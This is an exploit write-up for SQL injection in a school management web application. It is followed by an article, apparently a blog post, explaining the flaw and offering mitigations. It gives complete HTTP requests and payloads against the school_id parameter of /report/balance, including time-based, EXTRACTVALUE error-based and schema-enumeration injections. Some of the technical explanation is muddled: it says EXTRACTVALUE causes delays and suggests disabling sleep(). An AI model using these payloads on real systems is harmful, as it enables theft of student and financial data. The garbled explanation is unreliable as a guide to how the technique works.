Global - Multi School Management System Express v1.0- SQL Injection
# Exploit Title: Global - Multi School Management System Express v1.0- SQL Injection
# Date: 2023-08-12
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://codecanyon.net/item/global-multi-school-management-system-express/21975378
# Tested on: Kali Linux & MacOS
# CVE: N/A
### Request ###
POST /report/balance HTTP/1.1
Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: http://localhost
Cookie: gmsms=b8d36491f08934ac621b6bc7170eaef18290469f
Content-Length: 472
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="school_id"
0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="academic_year_id"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="group_by"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="date_from"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="date_to"
------------YWJkMTQzNDcw--
### Parameter & Payloads ###
Parameter: MULTIPART school_id ((custom) POST)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (EXTRACTVALUE)
Payload: ------------YWJkMTQzNDcw
Content-Disposition: form-data; name="school_id"
0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z' AND
EXTRACTVALUE(1586,CONCAT(0x5c,0x71766b6b71,(SELECT
(ELT(1586=1586,1))),0x716a627071)) AND 'Dyjx'='Dyjx
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="academic_year_id"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="group_by"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="date_from"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="date_to"
------------YWJkMTQzNDcw– Global Multi School Management System Express v1.0: A Deep Dive into SQL Injection Vulnerability
Recent security research has uncovered a critical vulnerability in the Global Multi School Management System Express v1.0, a widely used web application designed for educational institutions. This vulnerability, identified as an error-based SQL injection, allows attackers to execute arbitrary database commands through a seemingly innocuous POST request targeting the /report/balance endpoint.
Exploit Overview and Technical Context
The exploit was reported by cybersecurity researcher Ahmet Ümit Bayram on August 12, 2023, and validated on both Kali Linux and macOS. The vulnerability resides in the school_id parameter within a multipart/form-data request, which is improperly sanitized before being passed to the backend MySQL database.
Despite the absence of a formal CVE identifier, the impact of this flaw is significant, particularly in environments where sensitive student data, financial records, and administrative credentials are stored in a single database.
Attack Vector: Error-Based SQL Injection via EXTRACTVALUE
Attackers leverage the EXTRACTVALUE function in MySQL to induce time-based errors, enabling detection of SQL injection payloads. This method relies on the database’s ability to delay execution when a malformed XML structure is passed to EXTRACTVALUE, which can be exploited for timing-based inference.
POST /report/balance HTTP/1.1
Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: http://localhost
Cookie: gmsms=b8d36491f08934ac621b6bc7170eaef18290469f
Content-Length: 472
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="school_id"
0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="academic_year_id"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="group_by"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="date_from"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="date_to"
------------YWJkMTQzNDcw--
Explanation: The payload 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z is injected into the school_id field. This expression uses the if() function to conditionally trigger a sleep(6) command if the current time matches the system date. If the database is vulnerable, the server will delay response by 6 seconds, confirming the presence of SQL injection.
Additionally, the EXTRACTVALUE payload is used to enhance error detection:
0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z' AND
EXTRACTVALUE(1586,CONCAT(0x5c,0x71766b6b71,(SELECT(ELT(1586=1586,1))),0x716a627071)) AND 'Dyjx'='Dyjx
Explanation: The EXTRACTVALUE(1586, ...) function attempts to parse a malformed XML string. The CONCAT function builds a string with a hex-encoded payload, including 0x5c (backslash) and random alphanumeric strings. If the database processes this malformed XML, it will trigger an error or delay, confirming SQL injection.
Why This Vulnerability Matters
Multi-school management systems like this one are often deployed in public institutions, where data integrity and confidentiality are paramount. A SQL injection flaw in such systems can lead to:
- Data Exfiltration: Attackers can extract sensitive information such as student records, teacher salaries, or login credentials.
- Privilege Escalation: By manipulating the database, attackers can create new administrative accounts.
- Database Corruption: Malicious queries could delete or alter critical data, disrupting educational operations.
Real-World Use Case: Exploiting the /report/balance Endpoint
Consider a scenario where a malicious actor targets a school system to retrieve financial data. Using the school_id parameter, they craft a payload to extract database schema information:
0' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema = 'gmsms_db') > 0 --
Explanation: This payload checks if the database contains any tables in the gmsms_db schema. If the response is delayed or returns a true value, it confirms the database exists and is accessible. From there, attackers can enumerate tables, columns, and eventually extract data.
Security Recommendations and Mitigation Strategies
For developers and administrators, the following best practices are essential:
| Recommendation | Implementation |
|---|---|
| Input Sanitization | Use prepared statements or parameterized queries to prevent direct SQL injection. |
| Web Application Firewall (WAF) | Deploy a WAF like ModSecurity to detect and block malicious payloads. |
| Role-Based Access Control (RBAC) | Ensure only authorized users can access sensitive endpoints like /report/balance. |
| Database Hardening | Disable sleep() functions in MySQL and restrict user privileges. |
Conclusion: Proactive Defense in Educational Software
While the Global Multi School Management System Express v1.0 offers a convenient solution for managing multiple institutions, its lack of proper input validation exposes a critical risk. This case highlights the importance of secure coding practices, even in seemingly low-risk applications.
As cyber threats evolve, educational institutions must prioritize cybersecurity. Regular penetration testing, dependency audits, and secure deployment strategies are not optional—they are essential.